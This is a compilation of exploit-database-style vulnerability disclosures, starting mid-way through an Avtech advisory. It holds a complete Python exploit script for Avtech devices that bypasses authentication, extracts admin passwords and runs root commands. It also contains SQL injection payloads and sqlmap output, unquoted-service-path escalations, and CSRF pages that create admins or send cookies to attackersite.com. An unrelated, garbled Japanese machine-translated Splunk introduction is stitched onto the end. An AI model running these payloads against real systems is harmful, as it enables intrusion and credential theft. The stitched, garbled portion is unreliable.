9) Login captcha bypass #1
To prevent brute-forcing attempts, Avtech devices require a captcha for
login requests. However, if the login requests contain the login=quick
parameter, the captcha verification is bypassed.
POC:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick

10) Login captcha bypass #2
Instead of using a random session ID, Avtech devices use the
base64-encoded username and password as the Cookie value. Since the IP
address of the logged in user is not stored, if an attacker sets the
Cookie manually, the captcha verification can by bypassed easily.

11) Authenticated command injection in CloudSetup.cgi
Devices that support the Avtech cloud contain CloudSetup.cgi, which can
be accessed after authentication. The exefile parameter of a
CloudSetup.cgi request specifies the system command to be executed.
Since there is no verification or white list-based checking of the
exefile parameter, an attacker can execute arbitrary system commands
with root privileges.
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps

12) Authenticated command injection in adcommand.cgi
Some of the Avtech devices contain adcommand.cgi to perform ActionD
commands. The adcommand.cgi can be accessed after authentication. In
newer devices the ActionD daemon provides the DoShellCmd function, which
performs a system call with the specified parameters. Since there is no
verification or white list-based checking of the parameter of the
DoShellCmd function, an attacker can execute arbitrary system commands
with root privileges.
POC:
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=

DoShellCmd "strCmd=ps&"

13) Authenticated command injection in PwdGrp.cgi
The PwdGrp.cgi uses the username, password and group parameters in a new
user creation or modification request in a system command without
validation or sanitization. Thus and attacker can execute arbitrary
system commands with root privileges.
We are aware that this vulnerability is being exploited in the wild!
POC:
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN

14) HTTPS used without certificate verification
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by
specifying the no-check-certificate parameter. Thus wget skips server
certificate verification and a MITM attack is possible against the HTTPS
communication.

Timeline
2015.10.19: First attempt to contact with Avtech, but we did not receive
any response
2016.05.24: Second attempt to contact Avtech without any response
2016.05.27: Third attempt to contact Avtech by sending e-mail to public
Avtech e-mail addresses. We did not receive any response.
2016.xx.xx: Full disclosure

POC
---
POC script is available to demonstrate the following problems [3]:
- Unauthenticated information leakage (capabilities)
- Authentication bypass (.cab, nobody)
- Unauthenticated SSRF on DVR devices
- Unauthenticated command injection on DVR devices
- Login captcha bypass with login=quick or manual cookie creation
- CloudSetup.cgi command injection after authentication
- adcommand.cgi command injection after authentication

A video demonstration is also available [1], which presents some of the
above problems.

Recommendations
---------------
Unfortunately there is no solution available for these vulnerabilities
at the moment. You can take the following steps to protect your device:
- Change the default admin password
- Never expose the web interface of any Avtech device to the internet

We note that the above vulnerabilities were found within a short period
of time without a systematic approach. Based on the vulnerability types
we found and the overall code quality, the devices should contain much
more problems.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1]
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
[2] https://youtu.be/BUx8nLlIMxI
[3] https://github.com/ebux/AVTECH
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt
'''

#
# POC code for Technicolor Avtech devices
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated information leakage (capabilities)
#  - Authentication bypass (.cab, nobody)
#  - Unauthenticated SSRF on DVR devices
#  - Unauthenticated command injection on DVR devices
#  - Login captcha bypass with login=quick or manual cookie creation
#  - CloudSetup.cgi command injection after authentication
#  - adcommand.cgi command injection after authentication
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://search-lab.hu/...

import sys
import requests
import base64

class avtech:
    AVTECH_BYP_NONE = 0
    AVTECH_BYP_CAB = 1
    AVTECH_BYP_NOBODY = 2

    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()
        self.auth = False
        self.authbyp_str = {self.AVTECH_BYP_NONE:'', self.AVTECH_BYP_CAB:'.cab&', self.AVTECH_BYP_NOBODY:'/nobody&'}
        self.authbyp = self.AVTECH_BYP_NONE
        self.username = ''
        self.password = ''

        self.cabbyp = False
        self.nobodybyp = False
        self.firmware_version = ''
        self.product_type = ''
        self.product_id = ''
        self.mac_address = ''

    def getUri(self, uri, param, bypass=False):
        if (bypass):
            return 'http://%s:%d/%s?%s%s'%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param)
        else:
            return 'http://%s:%d/%s?%s'%(self.addr, self.port, uri, param)

    def setPwd(self, usr, pwd):
        self.username = usr
        self.password = pwd

    # creates a valid cookie without logging in
    def setCookie(self):
        self.s.cookies['SSID'] = base64.b64encode('%s:%s'%(self.username,self.password))
        self.auth = True

    # performs authentication with the provided user name and password using
    # the login=quick parameter, which bypass the captcha verification
    def login(self):
        self.s = requests.Session()
        r = self.s.get(self.getUri('/cgi-bin/nobody/VerifyCode.cgi', 'account=%s&login=quick'%(base64.b64encode('%s:%s'%(self.username,self.password)))))
        res = r.text.split()
        if (int(res[0]) == -35):
            #print 'Authentication failed with %s:%s'%(self.username,self.password)
            return False
        if (int(res[0]) == 0):
            #print 'Authentication succeeded with %s:%s'%(self.username,self.password)
            self.auth = True
            return True
        #else:
        #    print 'Unknown response code: %d'%(int(res[0]))
        return False

    # verifies whether the authentication bypass is working .cab or /nobody problem
    def checkBypass(self):
        if (self.auth):
            return 'Session is already authenticated, you do not have to bypass!'
        ret = ''
        greq = '&action=get&category=Account.*'
        # .cab check
        try:
            r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','.cab%s'%(greq)))
            if (len(r.text) > 0 and r.text[0] == '0'):
                ret += '.cab authentication bypass was successful, '
                self.authbyp = self.AVTECH_BYP_CAB
                self.cabbyp = True
        except:
            ret += '.cab authentication bypass was not successful, '

        # /nobody check
        try:
            r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','/nobody%s'%(greq)))
            if (len(r.text) > 0 and r.text[0] == '0'):
                ret += '/nobody authentication bypass was successful'
                self.nobodybyp = True
                if (self.authbyp == self.AVTECH_BYP_NONE):
                    self.authbyp = self.AVTECH_BYP_NOBODY
        except:
            ret += '/nobody authentication bypass was not successful'
        return ret

    # retrieves account information after authentication
    def getAdminPwd(self):
        r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Account.*', True))
        for l in r.text.split():
            lp = l.split('=')
            if (len(lp) == 2):
                if (lp[0] == 'Account.User1.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User1.Password'):
                    self.password = lp[1]
                    break
                if (lp[0] == 'Account.User2.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User2.Password'):
                    self.password = lp[1]
                    break
                if (lp[0] == 'Account.User3.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User3.Password'):
                    self.password = lp[1]
                    break

    # retrieves firmware version after authentication
    def getFwVersion(self):
        r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Properties.Firmware.*', False))
        print r.text

    # retrieves login response after authentication
    def getLogin(self):
        r = self.s.get(self.getUri('/cgi-bin/guest/Login.cgi','rnd=0.5', False))
        print r.text

    # CloudSetup.cgi command injection test
    def commandInjection(self, cmd):
        try:
            r = self.s.get(self.getUri('/cgi-bin/supervisor/CloudSetup.cgi','exefile=%s'%(cmd), False))
            return r.text
        except:
            print 'CloudSetup.cgi command injection test failed'

    # adcommand.cgi command injection test
    def commandInjection2(self, cmd):
        data = 'DoShellCmd "strCmd=%s&"'%(cmd)
        r = self.s.post(self.getUri('/cgi-bin/supervisor/adcommand.cgi','', False), data=data)
        return r.text

    # parses capability response
    def parseCapability(self, cap):
        for l in cap.split('\n'):
            ld = l.strip().split('=')
            if (len(ld)==2):
                if (ld[0] == 'Firmware.Version'):
                    self.firmware_version = ld[1]
                elif (ld[0] == 'Product.Type'):
                    self.product_type = ld[1]
                elif (ld[0] == 'Product.ID'):
                    self.product_id = ld[1]
                elif (ld[0] == 'MACAddress'):
                    self.mac_address = ld[1]

    # unauthenticated information leakage
    def getCapability(self):
        r = self.s.get(self.getUri('/cgi-bin/nobody/Machine.cgi','action=get_capability', False))
        self.parseCapability(r.text)
        return r.text

    # checks the availability of search.cgi (available only on DVR devices)
    def checkSearch(self):
        try:
            r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=scan', False))
            return r.text
        except:
            return ''

    # unauthenticated SSRF using the search.cgi script (available only on DVR devices)
    def checkCgiQuery(self):
        try:
            r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==', False))
            if (len(r.text)>=4 and r.text[0:4] == '0\nOK'):
                return True
            else:
                return False
        except:
            return False

    # unauthenticated command injection in the search.cgi script (available only on DVR devices)
    def searchCmdInjection(self, command):
        cmdstr = (' ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \'{print "/tmp/"$1".log"}\';)'%(command)).replace(' ', '%20')
        uri = self.getUri('cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin'%(cmdstr),False)
        print uri
        r = self.s.get(uri)
        return r.text

#------------------------------------

if __name__ == '__main__':
    if (len(sys.argv) < 2):
        print 'avtech_nas_pc.py addr [port]'
    addr = sys.argv[1]
    port = 80
    if (len(sys.argv) == 3):
        port = int(sys.argv[2])

    avtech = avtech(addr, port)

    # unatuhenticated information disclosure
    cap = avtech.getCapability()
    print cap
    avtech.parseCapability(cap)
    print '%s,%s,%s,%s'%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)

    # check unauthenticated SSRF vulnerability
    sr = avtech.checkSearch()
    if (len(sr) > 0 and sr[0] == '0'):
        cgi_query = avtech.checkCgiQuery()
        if (cgi_query):
            print 'SSRF was successful'
        else:
            print 'SSRF was not successful'

        resp = avtech.searchCmdInjection('XmlAp r Account.User1.Username')
        lines = resp.split('\n')
        if (len(lines) >= 3):
            pwd = lines[2].strip()
            print 'User1 name: %s'%(pwd)
            avtech.username = pwd

        resp = avtech.searchCmdInjection('XmlAp r Account.User1.Password')
        lines = resp.split('\n')
        if (len(lines) >= 3):
            pwd = lines[2].strip()
            print 'User1 password: %s'%(pwd)
            avtech.password = pwd

    # authentication bypas
    print 'Authentication bypass check'
    print avtech.checkBypass()
    print 'Try to get admin password'
    print avtech.getAdminPwd()
    default = False
    # try default password
    if (avtech.password == ''):
        avtech.setPwd('admin', 'admin')
        default = True
    # login with credentials using captch bypass
    avtech.login()
    # if captch bypass was not possible, but we have a password, set cookie manually
    if (not avtech.auth and not default and avtech.password != ''):
        avtech.setCookie()

    # check issues after authentication
    if (avtech.auth):
        print 'Get admin password'
        avtech.getAdminPwd()
        print 'Get login'
        avtech.getLogin()
        print 'Get fw version'
        avtech.getFwVersion()
        print 'cloud command injection'
        print avtech.commandInjection('ps')
        print 'adcommand command injection'
        print avtech.commandInjection2('cat /etc/passwd')
            
# Exploit Title: ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
# Date: 19-09-2016
# Software Link:
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
# Exploit Author: Iraklis Mathiopoulos
# Contact: https://twitter.com/_imath_
# Website: https://medium.com/@iraklis
# Category: webapps

1. Description

Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable to a Blind SQL Injection in /authenticate.php, on the webserver
that is running the Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.


2. Proof of Concept

req.burp:
---
POST https://[REDACTED].com/authenticate.php HTTP/1.1
Host: [REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://[REDACTED].com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
- ---

root@kali:~/projects# sqlmap -r req.burp -p username --dbms=mysql
--technique=T --time-sec=10  --level=5 --risk=3 --current-db
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201607120a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org


[*] starting at 19:59:34

[19:59:34] [INFO] parsing HTTP request from 'req.burp'
[19:59:34] [INFO] testing connection to the target URL
[19:59:42] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
'jIev&vpassword=&SUBMIT1=Sign In
- ---
[19:59:54] [INFO] testing MySQL
[20:02:25] [INFO] confirming MySQL
[20:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:03:12] [INFO] fetching current database
[20:03:12] [INFO] retrieved: [REDACTED]
current database:    '[REDACTED]'
[20:21:10] [INFO] fetched data logged to text files under
'/root/.sqlmap/output/[REDACTED].com'

[*] shutting down at 20:21:10

3. Solution:

Install the latest version of ShoreTel Connect ONSITE
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK

Related ShoreTel security bulletin:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
            
# Exploit Title :              miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)
# Author :                     Besim
# Google Dork :                
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :  http://www.spyka.net/scripts/php/miniblog
# Software link :
http://dl.spyka.co.uk/scripts/php/miniblog-1-0-1.zip


Description (admin login required) : 

miniblog 1.0.1 versions is vulnerable to CSRF attack, adding, delete and
edit article in the sections

Vulnerable page : http://localhost:8081/miniblog/*adm/admin.php?mode=add

Dangerous point : if used with XSS can be steal on the admin's cookie information.


*############### CSRF PoC ###############*


<html> <!-- CSRF PoC --> <body> <form action="
http://localhost:8081/miniblog/adm/admin.php?mode=add&id=%3Cbr%20/%3E%3Cb%3ENotice%3C/b%3E:%20%20Undefined%20variable:%20post%20in%20%3Cb%3EC:\xampp\htdocs\miniblog\adm\edit.php%3C/b%3E%20on%20line%20%3Cb%3E8%3C/b%3E%3Cbr%20/%3E"
method="POST"> <input type="hidden" name="data&#91;post&#95;title&#93;"
value="<script>location&#46;href&#32;&#61;&#32;â&#128;&#152;http&#58;&#47;&#47;www&#46;attackersite&#46;com&#47;stealer&#46;php&#63;cookie&#61;â&#128;&#153;&#43;document&#46;cookie&#59;<&#47;script>"
/> <input type="hidden" name="data&#91;post&#95;content&#93;"
value="tester" /> <input type="hidden" name="data&#91;published&#93;"
value="1" /> <input type="hidden" name="miniblog&#95;PostBack" value="Add"
/> <input type="submit" value="Submit request" /> </form> <script>
document.forms[0].submit(); </script> </body> </html>



########################################
            
[x]========================================================================================================================================[x]
 | Title        : Entrepreneur Job Portal Script SQL Injection
 | Software     : Entrepreneur Job Portal Script
 | Version		: 2.06
 | Vendor       : http://www.i-netsolution.com/
 | Date         : 07 October 2016
 | Author       : OoN_Boy
[x]========================================================================================================================================[x]
  
  
  
[x]========================================================================================================================================[x]
 | Technology       : PHP
 | Database         : MySQL
 | Price            : $353 - $1399 
 | Description      : Jobsite Script is an advanced PHP job site script to start Job site like all popular . It is a complete script with advanced features.
[x]========================================================================================================================================[x]
  
  
[x]========================================================================================================================================[x]
 | Proof of concept SQL	1	: http://localhost/job-portal/jobsearch_all.html?sch=%Inject_Here%21
 | Proof of concept SQL	2	: http://localhost/job-portal/jobsearch_all.html?cmpid=%Inject_Here%21
 |
 | Admin Page				: http://localhost/[path]/admin/index.php  
[x]========================================================================================================================================[x]
  
  
  
[x]========================================================================================================================================[x]
 | Exploit With Sqlmap
 
	sqlmap -u 'http://localhost/job-portal/jobsearch_all.html?cmpid=31453525536'
	
	---
	Parameter: cmpid (GET)
		Type: error-based
		Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
		Payload: cmpid=31453525536' AND (SELECT 8347 FROM(SELECT COUNT(*),CONCAT(0x716a7a7a71,(SELECT (ELT(8347=8347,1))),0x7178716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'tqjF'='tqjF
	---

[x]========================================================================================================================================[x]
  
[x]========================================================================================================================================[x]
 | Greetz   :   antisecurity.org batamhacker.or.id
 |              Vrs-hCk NoGe Jack zxvf Angela h4ntu reel dono Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va
 |              k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere
[x]========================================================================================================================================[x]
 
[x]========================================================================================================================================[x]
| Hi All long time no see ^_^
[x]========================================================================================================================================[x]
            
Waves Audio Service:	http://www.maxx.com
By Ross Marks: 			http://www.rossmarks.co.uk
Exploit-db:				https://www.exploit-db.com/author/?a=8724
Category:				Local
Tested on:				Windows 10 x86/x64

1) Unquoted Service Path Privilege Escalation 

Max audio drivers (dell default ones) installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.

A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.

PoC:

C:\WINDOWS\system32>sc qc WavesSysSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WavesSysSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
# Exploit Title: BlueStacks 2.5.55 Unquoted Service Path Privilege Escalation
# Date: 24/09/2016
# Author: Yunus YILDIRIM (@Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH)
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Category: local
# Vendor Homepage: http://www.bluestacks.com/
# Version: Software Version <= 2.5.55
# Tested on: Windows 7-10 x86/x64

1. Description

BlueStacks Log Rotator Service (BstHdLogRotatorSvc) installs as a service with 
an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.


2. Proof of Concept

C:\>sc qc BstHdLogRotatorSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: BstHdLogRotatorSvc
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : BlueStacks Log Rotator Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem		
		
		
3. Exploit:
 
A successful attempt would require the local attacker must insert an executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.


Additional notes :

Fixed in version v2.5.61

Vulnerability Disclosure Timeline:
=========================
24/09/2016   -   Contact With Vendor
28/09/2016   -   Vendor Response
04/10/2016   -   Release Fixed Version
            
<!--

=========================================================================================================
Simple PHP Blog 0.8.4 - Cross-Site Request Forgery (Add Admin)
=========================================================================================================

# Exploit Title: Simple PHP Blog 0.8.4 - Cross-Site Request Forgery (Add
Admin)
# Author: Besim
# Google Dork: -
# Date: 07/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: http://simpleblogphp.com/
# Software Link: https://sourceforge.net/projects/sphpblog/
# Version: 0.8.4
# Tested on: Ubuntu 14.04.5

Simple PHP Blog 0.8.4 versions is vulnerable to CSRF attack (No CSRF token
in place)
meaning that if an admin user can be tricked to visit a crafted URL created
by
attacker (via spear phishing/social engineering), a form will be submitted
to (*http://localhost/simple/manage_users.php?action=update&type=new
<http://localhost/simple/manage_users.php?action=update&type=new>*) that
will add a new user as administrator.

Once exploited, the attacker can login to the admin panel
(*http://localhost/simple/login.php <http://localhost/simple/login.php>*)
using the username and the password he posted in the form.

*CSRF PoC Code*
=============

-->

<html>
  <body>
    <form action="
http://localhost/simple/manage_users.php?action=update&type=new"
method="POST">
      <input type="hidden" name="sUsername" value="Besim" />
      <input type="hidden" name="sFullname" value="Besim" />
      <input type="hidden" name="sPassword" value="mehmet" />
      <input type="hidden" name="sEmail" value="mehmet&#64;yopmail&#46;com"
/>
      <input type="hidden" name="sAvatar" value="" />
      <input type="hidden" name="sActive" value="on" />
      <input type="hidden" name="sModComments" value="on" />
      <input type="hidden" name="sDeleteEntries" value="on" />
      <input type="hidden" name="sEditAny" value="on" />
      <input type="hidden" name="submit" value="Create&#32;User" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>




-- 

Besim ALTiNOK
            
Document Title:
================
Exagate WEBpack Management System Multiple Vulnerabilities

Author:
========
Halil Dalabasmaz

Release Date:
==============
07 OCT 2016

Product & Service Introduction:
================================
WEBPack is the individual built-in user-friendly and skilled web
interface allowing web-based access to the main units of the SYSGuard
and POWERGuard series. The advanced software enables the users to
design their customized dashboard smoothly for a detailed monitoring
and management of all the power outlet sockets & sensor and volt free
contact ports, as well as relay outputs. User definition and authorization,
remote access and update, detailed reporting and archiving are among the
many features.
 
Vendor Homepage:
=================
http://www.exagate.com/

Vulnerability Information:
===========================
Exagate company uses WEBPack Management System software on the hardware.
The software is web-based and it is provide control on the hardware. There are
multiple vulnerabilities on that software.

Vulnerability #1: SQL Injection
================================

There is no any filtering or validation mechanisim on "login.php". "username"
and "password" inputs are vulnerable to SQL Injection attacks. Sample POST
request is given below.

POST /login.php HTTP/1.1
Host: <TARGET HOST>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

username=root&password=' or 1=1--

Vulnerability #2: Unauthorized Access To Sensetive Information
===============================================================

The software is capable of sending e-mail to system admins. But there is no
any authorization mechanism to access e-mail logs. The e-mail logs can accessable
anonymously from "http://<TARGET HOST>/emaillog.txt".

Vulnerability #3: Unremoved Configuration Files
================================================

The software contains the PHP Info file on the following URL.

http://<TARGET HOST>/api/phpinfo.php

Vulnerability Disclosure Timeline:
==================================
03 OCT 2016 - 	Attempted to contact vendor after discovery of vulnerabilities
06 OCT 2016 - 	No response from vendor and re-attempted to contact vendor
07 OCT 2016 - 	No response from vendor
07 OCT 2016 - 	Public Disclosure
 
Discovery Status:
==================
Published
 
Affected Product(s):
=====================
Exagate SYSGuard 3001 (Most probably all Exagate hardwares affected that vulnerabilities)

Tested On:
===========
Exagate SYSGuard 3001

Disclaimer & Information:
==========================
The information provided in this advisory is provided as it is without 
any warranty. BGA disclaims all  warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular
purpose. BGA or its suppliers are not liable in any case of damage, including
direct, indirect, incidental, consequential loss of business profits or
special damages.
  
Domain:     www.bgasecurity.com
Social:     twitter.com/bgasecurity
Contact:    advisory@bga.com.tr

Copyright © 2016 | BGA Security LLC
            
# Exploit Title: Comodo Chromodo Browser Unquoted Service Path Privilege Escalation
# Date: 03/10/2016
# Author: Yunus YILDIRIM (@Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH)
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Category: local
# Vendor Homepage: https://www.comodo.com
# Software Link: https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php
# Version: Software Version <= 52.15.25.664
# Tested on: Windows 7 x86/x64

1. Description

Comodo Chromodo Browser Update Service (ChromodoUpdater) installs as a service with 
an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.


2. Proof of Concept

C:\>sc qc ChromodoUpdater
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ChromodoUpdater
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Comodo\Chromodo\chromodo_updater.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : COMODO Chromodo Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

		
3. Exploit:
 
A successful attempt would require the local attacker must insert an executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.


Additional notes :

Fixed in version 52.15.25.665
https://forums.comodo.com/news-announcements-feedback-cd/chromodo-v521525665-is-now-available-for-download-t116787.0.html

Vulnerability Disclosure Timeline:
=========================
03/10/2016   -   Contact With Vendor
03/10/2016   -   Vendor Response
05/10/2016   -   Release Fixed Version
            

0x00最初にspunkを知っている

1。会社:

American Splunk Companyは2004年に設立され、2012年にNasdaqにリストされました。これは最初のビッグデータリスト会社であり、多数の賞と栄誉を獲得しています。米国サンフランシスコに本社を置くロンドンは国際本部で、香港にはアジア太平洋サポートセンターがあり、上海には最初の海外R&Dセンターがあります。現在、中国で最大の顧客ライセンスは800GB/日です。製品:Splunk Enterprise [Enterpriseバージョン]、Splunk Free [Free Version]、Splunk Cloud、Splunk Hunk [ビッグデータ分析プラットフォーム]、Splunk Apps [Enterpriseバージョンベースのプラグイン]など。

2。製品:

Splunk Enterprise、Enterpriseバージョン、B/Sアーキテクチャ、ライセンス、つまり、毎日インデックスされているデータの量。

(20GBライセンスを購入すると、デフォルトでは毎日20gのデータをインデックスできます。永久に1回購入できます。トライアルバージョンを使用すると、試用期間が終了したら無料版に切り替えます)

Splunk Free、無料版、最大データインデックスは1日あたり500MBで、ほとんどのエンタープライズバージョン関数を使用できます。

(無料版には、認証、分散検索、クラスタリングなどなどの関数がありません。)

ユニバーサルフォワーダーであるSplunk Universal Forwarderは、Splunkが提供するデータ収集コンポーネントです。無料で、データソース側に展開され、UIインターフェイスがなく、非常に軽量で、リソースがほとんどありません。

(フォワーダーはライセンスなしで無料です。エンタープライズバージョンに専念しています。たとえば、データソースに展開されます。たとえば、Webサーバーに展開し、Webログを監視し、生成時に1つのログを転送し、転送を転送し、通常、CLIコマンドを変更または使用するように構成ファイルを構成します。

iii。 Splunkとは?

マシンデータのフルテキスト検索エンジン。

(検索エンジンを使用してデータを処理します。大規模なデータ処理をサポートします)

準リアルタイムログ処理プラットフォーム。

時系列ベースのインデクサー。

ビッグデータ分析プラットフォーム。

統合されたプラットフォーム:データ収集と保存- 分析- 視覚化。

ユニバーサル検索エンジン、データソースまたはデータ形式はありません。

特許取得済みの検索言語SPL(検索処理言語)を提供します。これは、SQL言語と構文的に似ています

Splunkアプリはより多くの機能を提供します

(オペレーティングシステムとCiscoネットワークデバイスの場合、Spunkは専用のアプリを提供し、データソースにアクセスすると直感的なダッシュボードを見ることができます。)

iv。マシンデータとは?

マシンデータとは、デバイスとソフトウェアによって生成されたログデータ、パフォーマンスデータ、およびネットワークデータパケットを指します。これらのデータはすべて非構造化データです。これらのデータをSpunkに収集できます。 Splunkは、インデックス、調査、監視、視覚化などを行うことができます。

1049983-20211217104616673-2132087087.jpg

v。 Splunkコンポーネント

インデクサー:インデクサーは、データのインデックスを作成するために使用されるSplunk Enterpriseインスタンスです。インデクサーは、生データをイベントに変換し、イベントをインデックス(インデックス)に保存します。インデクサーは、検索要求に応じてインデックスデータを検索します。

検索ヘッダー:分散検索環境では、検索ヘッダーは検索管理機能を処理し、検索リクエストを検索ノードのグループにガイドし、結果をユーザーにマージするSplunk Enterpriseインスタンスです。インスタンスが検索のみでインデックスが表示されない場合、通常は専用の検索ヘッダーと呼ばれます。

検索ノード:分散検索環境では、検索ノードはインデックスを作成し、検索ヘッダーから検索要求を完了するスプランクです

エンタープライズインスタンス。

フォワーダー:フォワーダーは、データを別のSplunk Enterpriseインスタンス(インデクサーまたは別の転送者)またはサードパーティシステムに転送するSplunk Enterpriseインスタンスです。

受信機:レシーバーは、フォワーダーからデータを受信するように構成されたSplunk Enterpriseインスタンスです。レシーバーはインデクサーまたは別のリピーターです。

アプリケーション:アプリケーションは、Splunkを拡張する構成、知識オブジェクト、顧客設計ビューとダッシュボードのコレクションです

